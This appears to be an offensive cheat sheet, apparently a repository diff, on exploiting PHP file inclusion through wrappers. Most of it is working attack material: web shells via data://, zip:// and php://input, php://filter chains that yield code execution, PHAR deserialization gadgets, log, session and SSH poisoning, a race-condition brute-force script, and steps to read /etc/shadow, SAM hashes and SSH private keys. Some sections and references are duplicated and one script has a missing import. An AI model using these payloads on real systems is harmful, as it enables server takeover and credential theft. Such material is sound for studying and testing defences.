## LFI / RFI using wrappers - [Root Me - Local File Inclusion](https://www.root-me.org/en/Challenges/Web-Server/Local-File-Inclusion)
- [Root Me - Local File Inclusion - Double encoding](https://www.root-me.org/en/Challenges/Web-Server/Local-File-Inclusion-Double-encoding)
### Wrapper php://filter - [Root Me - Remote File Inclusion](https://www.root-me.org/en/Challenges/Web-Server/Remote-File-Inclusion)
- [Root Me - PHP - Filters](https://www.root-me.org/en/Challenges/Web-Server/PHP-Filters)
The part "php://filter" is case insensitive
```powershell
http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
http://example.com/index.php?page=php://filter/convert.iconv.utf-8.utf-16/resource=index.php
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php
```
can be chained with a compression wrapper for large files.
```powershell
http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
```
NOTE: Wrappers can be chained multiple times using `|` or `/`:
- Multiple base64 decodes: `php://filter/convert.base64-decoder|convert.base64-decode|convert.base64-decode/resource=%s`
- deflate then base64encode (useful for limited character exfil): `php://filter/zlib.deflate/convert.base64-encode/resource=/var/www/html/index.php`
```powershell
./kadimus -u "http://example.com/index.php?page=vuln" -S -f "index.php%00" -O index.php --parameter page
curl "http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php" | base64 -d > index.php
```
### Wrapper zip://
```python
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
```
### Wrapper data://
```powershell
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
Fun fact: you can trigger an XSS and bypass the Chrome Auditor with : `http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+`
### Wrapper expect://
```powershell
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
```
### Wrapper input://
Specify your payload in the POST parameters, this can be done with a simple `curl` command.
```powershell
curl -X POST --data "<?php echo shell_exec('id'); ?>" "https://example.com/index.php?page=php://input%00" -k -v
```
Alternatively, Kadimus has a module to automate this attack.
```powershell
./kadimus -u "https://example.com/index.php?page=php://input%00" -C '<?php echo shell_exec("id"); ?>' -T input
```
### Wrapper phar://
Create a phar file with a serialized object in its meta-data.
```php
// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ? >');
// add object of any class as meta data
class AnyClass {}
$object = new AnyClass;
$object->data = 'rips';
$phar->setMetadata($object);
$phar->stopBuffering();
```
If a file operation is now performed on our existing Phar file via the phar:// wrapper, then its serialized meta data is unserialized. If this application has a class named AnyClass and it has the magic method __destruct() or __wakeup() defined, then those methods are automatically invoked
```php
class AnyClass {
function __destruct() {
echo $this->data;
}
}
// output: rips
include('phar://test.phar');
```
NOTE: The unserialize is triggered for the phar:// wrapper in any file operation, `file_exists` and many more.
## LFI to RCE via /proc/*/fd
1. Upload a lot of shells (for example : 100)
2. Include http://example.com/index.php?page=/proc/$PID/fd/$FD, with $PID = PID of the process (can be bruteforced) and $FD the filedescriptor (can be bruteforced too)
## LFI to RCE via /proc/self/environ
Like a log file, send the payload in the User-Agent, it will be reflected inside the /proc/self/environ file
```powershell
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
```
## LFI to RCE via upload
If you can upload a file, just inject the shell payload in it (e.g : `<?php system($_GET['c']); ?>` ).
```powershell
http://example.com/index.php?page=path/to/uploaded/file.png
```
In order to keep the file readable it is best to inject into the metadata for the pictures/doc/pdf
## LFI to RCE via upload (race)
Worlds Quitest Let's Play"
* Upload a file and trigger a self-inclusion.
* Repeat 1 a shitload of time to:
* increase our odds of winning the race
* increase our guessing odds
* Bruteforce the inclusion of /tmp/[0-9a-zA-Z]{6}
* Enjoy our shell.
```python
import itertools
import requests
import sys
print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)
print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text: # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)
print('[x] Something went wrong, please try again')
```
## LFI to RCE via upload (FindFirstFile)
:warning: Only works on Windows
`FindFirstFile` allows using masks (`<<` as `*` and `>` as `?`) in LFI paths on Windows.
* Upload a file, it should be stored in the temp folder `C:\Windows\Temp\`.
* Include it using `http://site/vuln.php?inc=c:\windows\temp\php<<`
## LFI to RCE via phpinfo()
PHPinfo() displays the content of any variables such as **$_GET**, **$_POST** and **$_FILES**.
> By making multiple upload posts to the PHPInfo script, and carefully controlling the reads, it is possible to retrieve the name of the temporary file and make a request to the LFI script specifying the temporary file name.
Use the script phpInfoLFI.py (also available at https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
Research from https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf
## LFI to RCE via controlled log file
Just append your PHP code into the log file by doing a request to the service (Apache, SSH..) and include the log file.
```powershell
http://example.com/index.php?page=/var/log/apache/access.log
http://example.com/index.php?page=/var/log/apache/error.log
http://example.com/index.php?page=/var/log/apache2/access.log
http://example.com/index.php?page=/var/log/apache2/error.log
http://example.com/index.php?page=/var/log/nginx/access.log
http://example.com/index.php?page=/var/log/nginx/error.log
http://example.com/index.php?page=/var/log/vsftpd.log
http://example.com/index.php?page=/var/log/sshd.log
http://example.com/index.php?page=/var/log/mail
http://example.com/index.php?page=/var/log/httpd/error_log
http://example.com/index.php?page=/usr/local/apache/log/error_log
http://example.com/index.php?page=/usr/local/apache2/log/error_log
```
### RCE via SSH
Try to ssh into the box with a PHP code as username `<?php system($_GET["cmd"]);?>`.
```powershell
ssh <?php system($_GET["cmd"]);?>@10.10.10.10
```
Then include the SSH log files inside the Web Application.
```powershell
http://example.com/index.php?page=/var/log/auth.log&cmd=id
```
### RCE via Mail
First send an email using the open SMTP then include the log file located at `http://example.com/index.php?page=/var/log/mail`.
```powershell
root@kali:~# telnet 10.10.10.10. 25
Trying 10.10.10.10....
Connected to 10.10.10.10..
Escape character is '^]'.
220 straylight ESMTP Postfix (Debian/GNU)
helo ok
250 straylight
mail from: mail@example.com
250 2.1.0 Ok
rcpt to: root
250 2.1.5 Ok
data
354 End data with <CR><LF>.<CR><LF>
subject: <?php echo system($_GET["cmd"]); ?>
data2
.
```
In some cases you can also send the email with the `mail` command line.
```powershell
mail -s "<?php system($_GET['cmd']);?>" www-data@10.10.10.10. < /dev/null
```
### RCE via Apache logs
Poison the User-Agent in access logs:
```
$ curl http://example.org/ -A "<?php system(\$_GET['cmd']);?>"
```
Note: The logs will escape double quotes so use single quotes for strings in the PHP payload.
Then request the logs via the LFI and execute your command.
```
$ curl http://example.org/test.php?page=/var/log/apache2/access.log&cmd=id
```
## LFI to RCE via PHP sessions
Check if the website use PHP Session (PHPSESSID)
```javascript
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
```
In PHP these sessions are stored into /var/lib/php5/sess_[PHPSESSID] or /var/lib/php/session/sess_[PHPSESSID] files
```javascript
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
```
Set the cookie to `<?php system('cat /etc/passwd');?>`
```powershell
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
```
Use the LFI to include the PHP session file
```powershell
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27
```
## LFI to RCE via credentials files
This method require high privileges inside the application in order to read the sensitive files.
### Windows version
First extract `sam` and `system` files.
```powershell
http://example.com/index.php?page=../../../../../../WINDOWS/repair/sam
http://example.com/index.php?page=../../../../../../WINDOWS/repair/system
```
Then extract hashes from these files `samdump2 SYSTEM SAM > hashes.txt`, and crack them with `hashcat/john` or replay them using the Pass The Hash technique.
### Linux version
First extract `/etc/shadow` files.
```powershell
http://example.com/index.php?page=../../../../../../etc/shadow
```
Then crack the hashes inside in order to login via SSH on the machine.
Another way to gain SSH access to a Linux machine through LFI is by reading the private key file, id_rsa.
If SSH is active check which user is being used `/proc/self/status` and `/etc/passwd` and try to access `/<HOME>/.ssh/id_rsa`.
## References ## References
* [OWASP LFI](https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion) - [CVV #1: Local File Inclusion - SI9INT - Jun 20, 2018](https://medium.com/bugbountywriteup/cvv-1-local-file-inclusion-ebc48e0e479a)
* [HighOn.coffee LFI Cheat](https://highon.coffee/blog/lfi-cheat-sheet/) - [Exploiting Remote File Inclusion (RFI) in PHP application and bypassing remote URL inclusion restriction - Mannu Linux - 2019-05-12](http://www.mannulinux.org/2019/05/exploiting-rfi-in-php-bypass-remote-url-inclusion-restriction.html)
* [Turning LFI to RFI](https://l.avala.mp/?p=241) - [Is PHP vulnerable and under what conditions? - April 13, 2015 - Andreas Venieris](http://0x191unauthorized.blogspot.fr/2015/04/is-php-vulnerable-and-under-what.html)
* [Is PHP vulnerable and under what conditions?](http://0x191unauthorized.blogspot.fr/2015/04/is-php-vulnerable-and-under-what.html) - [LFI Cheat Sheet - @Arr0way - 24 Apr 2016](https://highon.coffee/blog/lfi-cheat-sheet/)
* [Upgrade from LFI to RCE via PHP Sessions](https://www.rcesecurity.com/2017/08/from-lfi-to-rce-via-php-sessions/) - [Testing for Local File Inclusion - OWASP - 25 June 2017](https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion)
* [Local file inclusion tricks](http://devels-playground.blogspot.fr/2007/08/local-file-inclusion-tricks.html) - [Turning LFI into RFI - Grayson Christopher - 2017-08-14](https://web.archive.org/web/20170815004721/https://l.avala.mp/?p=241)
* [CVV #1: Local File Inclusion - SI9INT](https://medium.com/bugbountywriteup/cvv-1-local-file-inclusion-ebc48e0e479a)
* [Exploiting Blind File Reads / Path Traversal Vulnerabilities on Microsoft Windows Operating Systems - @evisneffos](http://www.soffensive.com/2018/06/exploiting-blind-file-reads-path.html)
* [Baby^H Master PHP 2017 by @orangetw](https://github.com/orangetw/My-CTF-Web-Challenges#babyh-master-php-2017)
* [Чтение файлов => unserialize !](https://rdot.org/forum/showthread.php?t=4379)
* [New PHP Exploitation Technique - 14 Aug 2018 by Dr. Johannes Dahse](https://blog.ripstech.com/2018/new-php-exploitation-technique/)
* [It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It, Sam Thomas](https://github.com/s-n-t/presentations/blob/master/us-18-Thomas-It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It.pdf)
* [CVV #1: Local File Inclusion - @SI9INT - Jun 20, 2018](https://medium.com/bugbountywriteup/cvv-1-local-file-inclusion-ebc48e0e479a)
* [Exploiting Remote File Inclusion (RFI) in PHP application and bypassing remote URL inclusion restriction](http://www.mannulinux.org/2019/05/exploiting-rfi-in-php-bypass-remote-url-inclusion-restriction.html?m=1)
* [PHP LFI with Nginx Assistance](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
* [PHP LFI to arbitratry code execution via rfc1867 file upload temporary files (EN) - gynvael.coldwind - 2011-03-18](https://gynvael.coldwind.pl/?id=376)

275
File Inclusion/Wrappers.md Normal file
View File

@@ -0,0 +1,275 @@
# Inclusion Using Wrappers
A wrapper in the context of file inclusion vulnerabilities refers to the protocol or method used to access or include a file. Wrappers are often used in PHP or other server-side languages to extend how file inclusion functions, enabling the use of protocols like HTTP, FTP, and others in addition to the local filesystem.
## Summary
- [Wrapper php://filter](#wrapper-phpfilter)
- [Wrapper data://](#wrapper-data)
- [Wrapper expect://](#wrapper-expect)
- [Wrapper input://](#wrapper-input)
- [Wrapper zip://](#wrapper-zip)
- [Wrapper phar://](#wrapper-phar)
- [PHAR Archive Structure](#phar-archive-structure)
- [PHAR Deserialization](#phar-deserialization)
- [Wrapper convert.iconv:// and dechunk://](#wrapper-converticonv-and-dechunk)
- [Leak file content from error-based oracle](#leak-file-content-from-error-based-oracle)
- [Leak file content inside a custom format output](#leak-file-content-inside-a-custom-format-output)
- [References](#references)
## Wrapper php://filter
The part "`php://filter`" is case insensitive
| Filter | Description |
| ------ | ----------- |
| `php://filter/read=string.rot13/resource=index.php` | Display index.php as rot13 |
| `php://filter/convert.iconv.utf-8.utf-16/resource=index.php` | Encode index.php from utf8 to utf16 |
| `php://filter/convert.base64-encode/resource=index.php` | Display index.php as a base64 encoded string |
```powershell
http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
http://example.com/index.php?page=php://filter/convert.iconv.utf-8.utf-16/resource=index.php
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php
```
Wrappers can be chained with a compression wrapper for large files.
```powershell
http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
```
NOTE: Wrappers can be chained multiple times using `|` or `/`:
- Multiple base64 decodes: `php://filter/convert.base64-decoder|convert.base64-decode|convert.base64-decode/resource=%s`
- deflate then `base64encode` (useful for limited character exfil): `php://filter/zlib.deflate/convert.base64-encode/resource=/var/www/html/index.php`
```powershell
./kadimus -u "http://example.com/index.php?page=vuln" -S -f "index.php%00" -O index.php --parameter page
curl "http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php" | base64 -d > index.php
```
Also there is a way to turn the `php://filter` into a full RCE.
- [synacktiv/php_filter_chain_generator](https://github.com/synacktiv/php_filter_chain_generator) - A CLI to generate PHP filters chain
```powershell
$ python3 php_filter_chain_generator.py --chain '<?php phpinfo();?>'
[+] The following gadget chain will generate the following code : <?php phpinfo();?> (base64 value: PD9waHAgcGhwaW5mbygpOz8+)
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.UCS-2.UTF8|convert.iconv.L6.UTF8|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp
```
- [LFI2RCE.py](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/File%20Inclusion/Files/LFI2RCE.py) to generate a custom payload.
```powershell
# vulnerable file: index.php
# vulnerable parameter: file
# executed command: id
# executed PHP code: <?=`$_GET[0]`;;?>
curl "127.0.0.1:8000/index.php?0=id&file=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/etc/passwd"
```
## Wrapper data://
The payload encoded in base64 is "`<?php system($_GET['cmd']);echo 'Shell done !'; ?>`".
```powershell
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
```
Fun fact: you can trigger an XSS and bypass the Chrome Auditor with : `http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+`
## Wrapper expect://
When used in PHP or a similar application, it may allow an attacker to specify commands to execute in the system's shell, as the `expect://` wrapper can invoke shell commands as part of its input.
```powershell
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
```
## Wrapper input://
Specify your payload in the POST parameters, this can be done with a simple `curl` command.
```powershell
curl -X POST --data "<?php echo shell_exec('id'); ?>" "https://example.com/index.php?page=php://input%00" -k -v
```
Alternatively, Kadimus has a module to automate this attack.
```powershell
./kadimus -u "https://example.com/index.php?page=php://input%00" -C '<?php echo shell_exec("id"); ?>' -T input
```
## Wrapper zip://
- Create an evil payload: `echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;`
- Zip the file
```python
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
```
- Upload the archive and access the file using the wrappers:
```ps1
http://example.com/index.php?page=zip://shell.jpg%23payload.php
```
## Wrapper phar://
### PHAR archive structure
PHAR files work like ZIP files, when you can use the `phar://` to access files stored inside them.
- Create a phar archive containing a backdoor file: `php --define phar.readonly=0 archive.php`
```php
<?php
$phar = new Phar('archive.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', '<?php phpinfo(); ?>');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();
?>
```
- Use the `phar://` wrapper: `curl http://127.0.0.1:8001/?page=phar:///var/www/html/archive.phar/test.txt`
### PHAR deserialization
:warning: This technique doesn't work on PHP 8+, the deserialization has been removed.
If a file operation is now performed on our existing phar file via the `phar://` wrapper, then its serialized meta data is unserialized. This vulnerability occurs in the following functions, including file_exists: `include`, `file_get_contents`, `file_put_contents`, `copy`, `file_exists`, `is_executable`, `is_file`, `is_dir`, `is_link`, `is_writable`, `fileperms`, `fileinode`, `filesize`, `fileowner`, `filegroup`, `fileatime`, `filemtime`, `filectime`, `filetype`, `getimagesize`, `exif_read_data`, `stat`, `lstat`, `touch`, `md5_file`, etc.
This exploit requires at least one class with magic methods such as `__destruct()` or `__wakeup()`.
Let's take this `AnyClass` class as example, which execute the parameter data.
```php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
}
...
echo file_exists($_GET['page']);
```
We can craft a phar archive containing a serialized object in its meta-data.
```php
// create new Phar
$phar = new Phar('deser.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
// add object of any class as meta data
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
}
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();
```
Finally call the phar wrapper: `curl http://127.0.0.1:8001/?page=phar:///var/www/html/deser.phar`
NOTE: you can use the `$phar->setStub()` to add the magic bytes of JPG file: `\xff\xd8\xff`
```php
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");
```
## Wrapper convert.iconv:// and dechunk://
### Leak file content from error-based oracle
- `convert.iconv://`: convert input into another folder (`convert.iconv.utf-16le.utf-8`)
- `dechunk://`: if the string contains no newlines, it will wipe the entire string if and only if the string starts with A-Fa-f0-9
The goal of this exploitation is to leak the content of a file, one character at a time, based on the [DownUnderCTF](https://github.com/DownUnderCTF/Challenges_2022_Public/blob/main/web/minimal-php/solve/solution.py) writeup.
**Requirements**:
- Backend must not use `file_exists` or `is_file`.
- Vulnerable parameter should be in a `POST` request.
- You can't leak more than 135 characters in a GET request due to the size limit
The exploit chain is based on PHP filters: `iconv` and `dechunk`:
1. Use the `iconv` filter with an encoding increasing the data size exponentially to trigger a memory error.
2. Use the `dechunk` filter to determine the first character of the file, based on the previous error.
3. Use the `iconv` filter again with encodings having different bytes ordering to swap remaining characters with the first one.
Exploit using [synacktiv/php_filter_chains_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit), the script will use either the `HTTP status code: 500` or the time as an error-based oracle to determine the character.
```ps1
$ python3 filters_chain_oracle_exploit.py --target http://127.0.0.1 --file '/test' --parameter 0
[*] The following URL is targeted : http://127.0.0.1
[*] The following local file is leaked : /test
[*] Running POST requests
[+] File /test leak is finished!
```
### Leak file content inside a custom format output
- [ambionics/wrapwrap](https://github.com/ambionics/wrapwrap) - Generates a `php://filter` chain that adds a prefix and a suffix to the contents of a file.
To obtain the contents of some file, we would like to have: `{"message":"<file contents>"}`.
```ps1
./wrapwrap.py /etc/passwd 'PREFIX' 'SUFFIX' 1000
./wrapwrap.py /etc/passwd '{"message":"' '"}' 1000
./wrapwrap.py /etc/passwd '<root><name>' '</name></root>' 1000
```
This can be used against vulnerable code like the following.
```php
<?php
$data = file_get_contents($_POST['url']);
$data = json_decode($data);
echo $data->message;
?>
```
### Leak file content using blind file read primitive
- [ambionics/lightyear](https://github.com/ambionics/lightyear)
```ps1
code remote.py # edit Remote.oracle
./lightyear.py test # test that your implementation works
./lightyear.py /etc/passwd # dump a file!
```
## References
